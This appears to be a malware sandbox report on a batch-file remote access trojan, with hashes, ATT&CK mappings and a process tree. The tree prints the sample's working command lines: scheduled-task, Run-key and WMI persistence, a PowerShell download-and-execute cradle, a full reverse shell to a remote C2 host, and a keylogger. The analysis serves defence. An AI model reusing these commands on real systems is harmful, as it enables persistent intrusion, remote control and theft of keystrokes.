fd81a70ab3ad9ce2241b494476be88b600cfe6fa84159c5b8ca040bfc1e9ed96

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_25630_014147.bat
Size 4KB
Sample260529-b2n37ahs2z
SHA256 fd81a70ab3ad9ce2241b494476be88b600cfe6fa84159c5b8ca040bfc1e9ed96
MD5 f12a664377fadc97332da475acafc3c6
SHA1 63ea3b2ad3be2ce98cda323af0fc423eb0345945
SHA512 64fb17f16122c49028c6ac78ac5c6d5b5f262797e71b0c4209413bc469424d99fe6acd90eb8f97d55f9f449b22fa03349b709676bfda17dffae55c3f990d134f
SSDEEP 96:uI/tWKa/AicFc7P4VFbDgHpeOvVZM0gRkiZTlTmmb0ZQxg6DqMnfXul/UiiFgZk4:utKa/E5FbDgHpJ0FkulymgZMbvul/UiN
TLSH
T124A12A23D7562430C9B0214DD9327D15639CCAFB2341C98DEE88CCD9165CF8386AD1E3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_25630.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
536	powershell.exe
2512	powershell.exe
2308	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_25630 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_25630.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1552	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3520	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1216	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4084	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
536	powershell.exe
536	powershell.exe
536	powershell.exe
2512	powershell.exe
2512	powershell.exe
2512	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3656	WMIC.exe
Token: SeSecurityPrivilege	3656	WMIC.exe
Token: SeTakeOwnershipPrivilege	3656	WMIC.exe
Token: SeLoadDriverPrivilege	3656	WMIC.exe
Token: SeSystemProfilePrivilege	3656	WMIC.exe
Token: SeSystemtimePrivilege	3656	WMIC.exe
Token: SeProfSingleProcessPrivilege	3656	WMIC.exe
Token: SeIncBasePriorityPrivilege	3656	WMIC.exe
Token: SeCreatePagefilePrivilege	3656	WMIC.exe
Token: SeBackupPrivilege	3656	WMIC.exe
Token: SeRestorePrivilege	3656	WMIC.exe
Token: SeShutdownPrivilege	3656	WMIC.exe
Token: SeDebugPrivilege	3656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3656	WMIC.exe
Token: SeRemoteShutdownPrivilege	3656	WMIC.exe
Token: SeUndockPrivilege	3656	WMIC.exe
Token: SeManageVolumePrivilege	3656	WMIC.exe
Token: 33	3656	WMIC.exe
Token: 34	3656	WMIC.exe
Token: 35	3656	WMIC.exe
Token: 36	3656	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3656	WMIC.exe
Token: SeSecurityPrivilege	3656	WMIC.exe
Token: SeTakeOwnershipPrivilege	3656	WMIC.exe
Token: SeLoadDriverPrivilege	3656	WMIC.exe
Token: SeSystemProfilePrivilege	3656	WMIC.exe
Token: SeSystemtimePrivilege	3656	WMIC.exe
Token: SeProfSingleProcessPrivilege	3656	WMIC.exe
Token: SeIncBasePriorityPrivilege	3656	WMIC.exe
Token: SeCreatePagefilePrivilege	3656	WMIC.exe
Token: SeBackupPrivilege	3656	WMIC.exe
Token: SeRestorePrivilege	3656	WMIC.exe
Token: SeShutdownPrivilege	3656	WMIC.exe
Token: SeDebugPrivilege	3656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3656	WMIC.exe
Token: SeRemoteShutdownPrivilege	3656	WMIC.exe
Token: SeUndockPrivilege	3656	WMIC.exe
Token: SeManageVolumePrivilege	3656	WMIC.exe
Token: 33	3656	WMIC.exe
Token: 34	3656	WMIC.exe
Token: 35	3656	WMIC.exe
Token: 36	3656	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2776	WMIC.exe
Token: SeSecurityPrivilege	2776	WMIC.exe
Token: SeTakeOwnershipPrivilege	2776	WMIC.exe
Token: SeLoadDriverPrivilege	2776	WMIC.exe
Token: SeSystemProfilePrivilege	2776	WMIC.exe
Token: SeSystemtimePrivilege	2776	WMIC.exe
Token: SeProfSingleProcessPrivilege	2776	WMIC.exe
Token: SeIncBasePriorityPrivilege	2776	WMIC.exe
Token: SeCreatePagefilePrivilege	2776	WMIC.exe
Token: SeBackupPrivilege	2776	WMIC.exe
Token: SeRestorePrivilege	2776	WMIC.exe
Token: SeShutdownPrivilege	2776	WMIC.exe
Token: SeDebugPrivilege	2776	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2776	WMIC.exe
Token: SeRemoteShutdownPrivilege	2776	WMIC.exe
Token: SeUndockPrivilege	2776	WMIC.exe
Token: SeManageVolumePrivilege	2776	WMIC.exe
Token: 33	2776	WMIC.exe
Token: 34	2776	WMIC.exe
Token: 35	2776	WMIC.exe
Token: 36	2776	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2776	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 4084	2616	cmd.exe	88
PID 2616 wrote to memory of 1216	2616	cmd.exe	89
PID 2616 wrote to memory of 3656	2616	cmd.exe	90
PID 2616 wrote to memory of 2776	2616	cmd.exe	91
PID 2616 wrote to memory of 4404	2616	cmd.exe	92
PID 2616 wrote to memory of 3520	2616	cmd.exe	105
PID 2616 wrote to memory of 1552	2616	cmd.exe	108
PID 2616 wrote to memory of 536	2616	cmd.exe	109
PID 2616 wrote to memory of 2512	2616	cmd.exe	111
PID 2616 wrote to memory of 2308	2616	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_25630_014147.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_25630" /tr "C:\Users\Admin\AppData\Local\Temp\_25630.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4084
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_25630" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_25630.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1216
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_25630", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3656
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_25630", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_25630.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_25630.txt
  2⤵
  PID:4404
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3520
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_25630.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2308

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 327e087177c5d3f4a401759e654240c4c1a33c56c9919ba2693064b75a8d2307
MD5 1bef3fea79c58459391183abd29250cb
SHA1 5e9d2e6cb6aff59db058b413cb3a9cb730e933d6
SHA512 56b4e0bd68228b732d33d9a1bbe63cfb4fd68e83dc3925c200b960693ac31c4c13bf8a32a46ce7d0b1abec7e36d7d28b55af0d5675e807e63cd600975a79660d
TLSH
T1BF117627F39CC921CC96153A409DAD1176B683DB81AEDF9F6FC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b57aa249a005540b32c2f20a7167c5aa9fca4aefac306c69fdcfbf669b18500b
MD5 0f6673935c3ee8644b9b1e82589b3b5f
SHA1 e87078a9502e144cf80f7915fdfdf4d057a3fcb1
SHA512 dce4202088050141ffcd3ff3e639a8f42f5dfba73883927bc158d73746f2f2a5bde52b86d7d03e57cd848032a74b7c45f12e6d153df6cb3652a3c13e03d8081f
TLSH
T169115727B39C99A1CC96153A409DAC1172B683DB409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qoybg5by.bgp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qoybg5by.bgp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/536-8-0x00000189F8A60000-0x00000189F8A82000-memory.dmp

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memory/536-13-0x00000189F8B90000-0x00000189F8CDE000-memory.dmp

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memory/2308-34-0x00000189704D0000-0x000001897061E000-memory.dmp

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memory/2512-24-0x00000212F9D50000-0x00000212F9E9E000-memory.dmp

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